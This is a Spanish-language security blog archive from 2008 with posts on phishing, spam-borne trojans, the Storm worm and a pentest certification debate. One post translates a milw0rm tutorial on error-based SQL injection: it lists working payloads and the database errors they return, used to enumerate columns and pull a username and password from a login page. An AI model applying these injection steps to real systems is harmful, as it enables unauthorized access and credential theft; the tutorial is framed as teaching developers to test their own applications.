Founder of MalwareIntelligence, a site dedicated to research on all matters relating to anti-malware security, criminology computing and information security in general, always from a perspective closely related to the field of intelligence.

domingo, 27 de julio de 2008

To exploit or not to exploit

Estos días en la lista de correo Dailydave hay un hilo abierto que me parece bastante interesante. Comenzó con el anuncio de una nueva certificación por parte de los chicos de Immunity, llamada Network Offense Professional (NOP), y que estará disponible en la DEFCON del mes que viene en Las Vegas.

Ésta consistirá en la búsqueda y explotación de una vulnerabilidad en un software dado ejecutado en un Windows 2000, desde cero y con limite de tiempo. Se anunció de forma que parecía que todo pentester que se precie debería poder superarla y tener conocimientos del tema para dar garantías a sus clientes, y es aquí donde algunos no estaban del todo de acuerdo.
La discusión, que todavía está viva, se puede resumir en si es realmente necesario saber explotar una vulnerabilidad y ejecutar código en la máquina remota para realizar una buena auditoría.

Personalmente creo que, aunque no sea del todo necesario llegar a la ejecución de código, los conocimientos que se adquieren con la explotación de vulnerabilidades deja una base de experiencia que a la postre garantizará la confianza en el auditor. Os animo a que leáis el hilo completo y nos dejéis vuestras impresiones al respecto.


Fuente:
http://blog.s21sec.com

# pistus

Ver más

domingo, 20 de julio de 2008

(In)seguridad en la programación de sitios web

Seguridad de la información se refiere a un aglomerado de prácticas y procedimientos tendientes al resguardo de la información para protegerla en todo momento de diferentes amenazas, y esto se aplica desde la implementación de cualquier aplicación, ya sea en un Server o en una Workstation, hasta cuando se escribe código de programación.

En este sentido, es importante que los programadores no se preocupen tanto por la estética de lo que están desarrollando y tengan más en cuenta las consecuencias de seguridad en las que pueden caer los desarrollos cuando son creados sin pensar en los pilares de la seguridad de la información: confidencialidad, integridad y disponibilidad.

¿Pero que sucede cuando nuestra información en publicada de manera deliberada?

Un ejemplo de las malas prácticas de seguridad en cuanto a programación es el nuevo sitio web de un conocido periódico de Argentina, que a través de una campaña publicitaria por el día del amigo ha creado una verdadera fuente de inspiración para usuarios maliciosos.

El tema es así. Desde el siguiente formulario, donde debemos colocar nuestra dirección de correo electrónico, le enviamos un mensaje a algún amigo:

Pero si además queremos que reciba el mensaje por MSN, hacemos clic sobre e botón siguiente y en el próximo formulario ingresamos, además de nuestra dirección de correo, nuestra contraseña de acceso al correo y el tipo de cliente de mensajería que utilizamos :)


Una verdadera joya de cómo no se debe proteger la confidencialidad de la información que nos hace recordar a esas páginas que dejan saber quien te admite o no en los clientes de mensajería instantánea.

Si pensaron que todo termina aquí, se equivocan. Como si fuera poca la lección de malas prácticas, también podemos ver las direcciones de correo de quienes se atrevieron a “enviar mensajes”:


¡Sin palabras!

# pistus

Ver más

viernes, 18 de julio de 2008

Analizando el punto más débil

Esta vez voy a analizar el punto más débil en la cadena de la seguridad. Todos sabemos de que se trata y la cantidad de formas que hay para saltarse sus protecciones que hemos puesto y con arduo sudor configurado.

De las múltiples formas de atacar a este punto débil la más sencilla es usar este raro ejemplar de
troyano escrito en javascript que permite tener control más o menos completo sobre la máquina que lo ejecuta.

Lo curioso es que se aprovecha de una vulnerabilidad muy conocida que no puede ser eliminada, ya que en realidad forma parte de su filosofía de funcionamiento. Es una "feature" intrínseca que no puede ser eliminada de éste punto débil.

Es como intentar quitar los huevos a la hora de hacer un tortilla.
Muchas veces nos quedamos buscando información sobre algo en la red y vamos leyendo y leyendo y pinchando enlaces y más enlaces ... hasta el infinito y más allá. Y que conste, que no creo que sea una vulnerabilidad, si no un fantástica "feature" que hace de este punto débil a la vez el más fuerte de todos.

Fuente:
http://blog.s21sec.com

# pistus

Ver más

¿Video gratuito de Angelina Jolie desnuda?

Sin lugar a dudas, los mensajes de correo electrónico no deseados que masivamente recibimos a diario constituyen una fuente inagotable de diseminación de códigos maliciosos casi desde sus comienzos.

Donde junto a las estrategias de Ingeniería Social, parecerían ser la pareja perfecta a la hora de propagar malware. En este sentido, el siguiente caso es un claro ejemplo del modus operandi que por lo general siguen:

Nos llega un correo electrónico no deseado que promete la visualización de una postal, de alguna imagen que compromete a alguna celebridad o, como en este caso, un supuesto video que invita a ver a Angelina Jolie desnuda.

En definitiva, si accedemos a la propuesta haciendo clic sobre el enlace, nos dirigimos a la siguiente url donde se intenta descargar un archivo ejecutable que no es otra cosa que un troyano:

http://www.multi-data[ELIMINADO]/images/scan.exe


Esta metodología de propagación es cada vez más utilizada; en consecuencia tenemos que estar muy atentos con los correos electrónicos que recibimos, sobre todo el spam.

¿De qué manera podemos evitar caer en la trampa?
Siguiendo algunas simples acciones lograremos prevenir ser víctimas de estos códigos dañinos:

  • No hacer clic sobre los enlaces que se encuentran incrustados en el cuerpo del mensaje.
  • Pasar el cursor sobre el enlace para verificar en la barra de tareas hacia donde nos direcciona el enlace.
  • Si descargamos archivos, sobre todo ejecutables, escanearlos con un antivirus actualizado.
  • Mantener el sistema operativo actualizado con los último parches de seguridad.
Un detalle a tener en cuenta y que suele ser redundante en este tipo de casos, es la falta de ortografía en la escritura del nombre :)

Actualización: 19-07-2008 12:10 p.m.

Cómo había mencionado anteriormente, esta metodología es explotada a través de diferentes variantes de engaño.

Además de proponer ver un video de Angelina Jolie, también podemos ver en nuestra casilla de correo directamente una foto que también nos llega por intermedio de spam:

Junto a un enlace que nos direcciona a la descarga del siguiente archivo:

http://cursointensivo[ELIMINADO]/msvideoc.exe

Como vemos, en ambos casos se presenta la descarga de un archivo ejecutable que lejos de ser lo prometido, es en realidad un malware.

# pistus

Ver más

miércoles, 9 de julio de 2008

Tormenta en el día de la independencia

Sin lugar a dudas, el famoso gusano de la tormenta (Nuwar según ESET) es uno de los códigos maliciosos que más explota la Ingeniería Social; así lo demuestran sus creadores a través de constantes y diferentes temáticas mediante las cuales intentan engañar a los usuarios menos alertas.

Ya es habitual que cuando sucede algún hecho trascendental o noticia importante, nuwar se apodere de su repercución para propagarse por cuanta computadora pueda. Ahora la excusa es el día de la Independencia de los EUA.

Sin embargo, lejos está nuwar (storm, como lo conocen algunos) de mostrarnos un espectáculo de fuegos artificiales y descarga una de sus variantes, Win32/Nuwar.DC.

# pistus

Ver más

martes, 8 de julio de 2008

Tutorial: inyección SQL basada en aplicaciones

Uno de los sitios web que visito con mayor frecuencia es milW0rm.com para estar actualizado respecto a los exploits que van saliendo día a día y así verificar si alguno de los sistemas de los cuales soy responsable es potencialmente vulnerable.

Justamente en ese sitio se publicó un artículo muy interesante acerca de cómo se ven afectados los sistemas basados en Web (sin importar mayormente el lenguaje de programación en el cual hayan sido desarrollados) a tremendos problemas de seguridad, donde muchas veces la aplicación completa, incluyendo el servidor mismo y máquinas aledañas de la red pueden ser controladas por un atacante simplemente por no validar correctamente los parámetros que se les entrega a las variables. Un error simple y muy común de cometer pero que puede costar muy caro.

El presente artículo se basa en demostrar como es posible explotar una vulnerabilidad de inyección SQL con un ejemplo (no real) y obtener, por ejemplo, los usuarios y contraseñas de acceso de la base de datos. Se conoce como "inyección SQL" )o SQL Injection) a la técnica utilizada por..hackers para interactuar ilegítimamente (o más bien, de manera inesperada) contra un sistema que utiliza conexión a base de datos sobre un motor SQL, como puede ser PostgreSQL, MySQL, MSSQL, etc.

El proceso de inyección SQL

A continuación transcribiré y traduciré un paper publicado por AnalyseR de GHS - Greek Hacker Scene en milw0rm.com.

Inyección SQL basada en errores - una historia verdadera

Hola de nuevo. Este documento es acerca de inyección SQL basada en errores. Pero, ¿qué es eso?. Eso significa que utilizaremos los errores generados por las aplicaciones como base para llegar más allá. En el siguiente ejemplo utilizaré el proceso que usé un par de meses atrás para bypassear un prompt de login y obtener acceso a toda la base de datos, incluyendo contraseñas, de los miembros de un sistema. No revelaré ningún email o contraseña de esa BD, si no que serán reales pero los cubriré con asteriscos por razones que ustedes conocen bien. Pues bien, este es nuestro escenario:

Estás en frente de un prompt de login que tiene un aspecto como "/administrator/login.asp". Para lograr ingresar, necesitamos al menos un usuario y una contraseña válida. OK, atacar por fuerza bruta es muy "n00b" (un término bastante despectivo) así que intentaremos una inyección SQL. Ya que hablamos de Inyección SQL BASADA EN ERRORES, no cubriré la base de la sintaxis aquí, ya que se supone que ustedes poseen un conocimiento básico del tema (*1). Comenzamos nuestro "ataque", por ejemplo, con una cláusula "having" en el campo de nombre de usuario (sólo se necesita escribir cualquier texto para el campo de contraseña o incluso un punto). Se verá algo así como: 'having 1=1--

y después de un rato se genera un error:

Microsoft OLE DB Provider for ODBC Drivers error '8004e14' [Microsoft] [ODBC SQL Server Driver][SQL Server]
Column 'login.primarykey' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/administrator/login.asp, line 27

[Nota: La clave aquí es entender los mensajes de error correctamente. Lo anterior en español sería:
"La columna 'login.primarykey' es inválida en la lista de selección porque no está contenida en una función de agregación y no hay ninguna cláusula GROUP BY". Como pueden ver, en este punto ya se tiene la certeza de que el motor de base de datos, en este caso MSSQL, responde a nuestras solicitudes engañosas, por lo tanto ya estamos ad-portas de lanzar un ataque efectivo]

Obtenemos nuestro primer error. Muy muy interesante. Como se puede ver aquí, el primer error que se genera nos revela la primera pista ;). "login.primarykey" es exactamente lo que necesitamos. Un nombre de una tabla (login) y un nombre de una columna (primarykey). Continuamos nuestro ataque usando la cláusula de SQL llamada "GROUP BY". Entonces ahora nuestra solicitud se verá algo similar a esto:
' GROUP BY login.primarykey having 1=1--
Y al presionar Enter....
Microsoft OLE DB Provider for ODBC Drivers error '8004e14' [Microsoft] [ODBC SQL Server Driver][SQL Server]
Column 'login.username' is invalid in the select list because it is not contained in either an agreggate function or the GROUP BY clause.
/administrador/login.asp. Line 27

OK!! Eso es!. Hemos encontrado otro nombre de una columna y adivinen qué... se llama "username". Así que continuamos de la misma manera que antes para revelar todos los nombres de las columnas en la tabla 'login'. Por ejemplo, el siguiente paso sería: ' GROUP BY login.primarykey, username havin 1=1--

Es muy simple.

Una vez más, seguimos utilizando este procedimiento hasta que aparezca una página de aspecto NORMAL: 'GROUP BY NOMBRE_DE_LA_TABLA.COLUMNA1, COLUMNA2, COLUMNA3 having 1=1--

Creo que es bastante sencillo. No es necesario que hagas eso con todas las columnas si solamente necesitas un usuario y contraseña, pero puedes obtener acceso a direcciones de corrreo, números de tarjetas de crédito, nombres reales y otro tipo de información de ese calibre. El siguiente paso es obtener el usuario y contraseña. Si ya conoces algún nombre de usuario válido simplmente vé y pregunta por su contraseña (utilizando la sentencia SELECT, logicamente). Pero si no conoces ninguno, entonces probablemente harás lo que yo hice. Intenté buscar un nombre de usuario en la columna 'username' que sea mayor que "a". Este podría ser "admin" o algo similar (en este ejemplo no es "admin" pero el usuario tiene permisos de administrador en el sistema afectado). Hice eso con la siguiente inyección SQL: ' UNION SELECT MIN(username),1,1,1,1 FROM login WHERE username > 'a' --

Si no sabes de que se tratan los números, entonces debieses leer algún manual y documentación acerca del lenguaje SQL. Bueno, después de disparar esa inyección debiesemos tener de vuelta un nuevo error como resultado, el primer nombre de usuario que es MAYOR que "a". Y sí, efectivamente!

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'ab*****ilr' to a column of data type int.
/administrator/login.asp. Line 27

[Nota 2: Error de sintaxis convirtiendo el valor de tipo nvarchar 'ab*****ilr' a una columna de tipo de datos enteros (integer)]

Aquí lo tenemos!!! un nombre de usuario!! (Cubierto con asteriscos por supuesto). Ahora, tenemos un nombre de usuario válido y solo necesitamos su contraseña. Busquémosla:
'UNION SELECT MIN(password),1,1,1,1 FROM login WHERE username='ab*****ilr'--

Microsoft OLE DB Provider for ODBC Drivers error '8004e14' [Microsoft] [ODBC SQL Server Driver][SQL Server]
Syntax error converting the nvarchar value 'ar***all' to a column of data type int.
/administrator/login.asp. Line 27

Y ahí está la contraseña que se necesitaba para ese nombre de usuario. Ahora, diviértanse y no hagan estupideces.

==============================================================
(*1) En el documento traducido anteriormente no explica que no es necesario pasar estos parámetros de inyección solamente en el cuadro de texto donde se introducen los datos normalmente (usuario, password, etc) si no que también se pueden pasar como parámetros en una URL, como por ejemplo:

/administrator/login.asp?error='having 1=1--

La idea de mostrarles este tipo de documentos es que prueben sus aplicaciones contra las inyecciones SQL porque, como podrán haberse dado cuenta, pueden llegar a ser bastante desastrosas.

Otro ejemplo de Inyección SQL: www.youtube.com/watch?v=MJNJjh4jORY

Visto en: http://www.seguridad-informatica.cl

# pistus

Ver más

lunes, 7 de julio de 2008

Vishing y Smishing: mutaciones fraudulentas

A lo largo del tiempo y conjuntamente con la evolución de Internet, fueron surgiendo nuevas tecnologías que acompañaron las necesidades de los usuarios en lo que a materia informática se refiere. En forma paralela, fueron apareciendo nuevas modalidades delictivas con fines de lucro que a través de diferentes técnicas buscan obtener información sensible de los usuarios para cometer fraudes. Es así que en la actualidad entre las amenazas más comunes que circulan en Internet son se encuentran las estafas basadas en metodologías de engaño como la Ingeniería Social para captar la atención de potenciales víctimas y encontrando, en técnicas como el Phishing, a los aliados perfectos. Seguir leyendo

Fuente: http://www.eset-la.com

# pistus

Ver más

domingo, 6 de julio de 2008

Evolución del malware según Ikarus

La gente de IKARUS Security Software, ha publicado una excelente caricatura donde queda plasmada la evolución que a lo largo de los últimos 10 años han sufrido los códigos maliciosos y consecuentemente la industria antivirus.
Graciosamente queda claro que durante el año 1998 las casas antivirus tenían relativo control, a través de diferentes metodologías de detección, contra la propagación de códigos maliciosos.

En la actualidad, esa situación es completamente diferente y la evolución del malware provoca, a través de diferentes metodologías de auto-defensa, que el análisis de su código sea cada vez más complicado.

¡Excelente caricatura!

# pistus

Ver más

Phishing para todos los gustos

Sin lugar a dudas, los casos de Phishing son cada vez más comunes en nuestro país (Argentina). Sin embargo, para muchos usuarios todavía existe la creencia de que los ataques de Phishing son páginas web clonadas que siempre están dirigidas a entidades bancarias.

Si bien parte de esto es verdad debido a que la mayoría de las entidades bancarias suelen llevarse la mayor tasa de casos, el tema es que el Phishing busca obtener información sensible de los usuarios, información crítica y confidencial que luego permita llevar a cabo un fraude.

Esta noche, paseando por los foros de Segu, me entero del reciente intento de Phishing a dos importantes empresas. Veamos las capturas:


Lo interesante de estos ejemplos es que queda mucho más claro que la finalidad del Phishers es "coleccionar datos" y que no siempre estan diseñados para simular ser los sitios oficiales de entidades bancarias.

Más información en: http://seguinfo.blogspot.com

# pistus

Ver más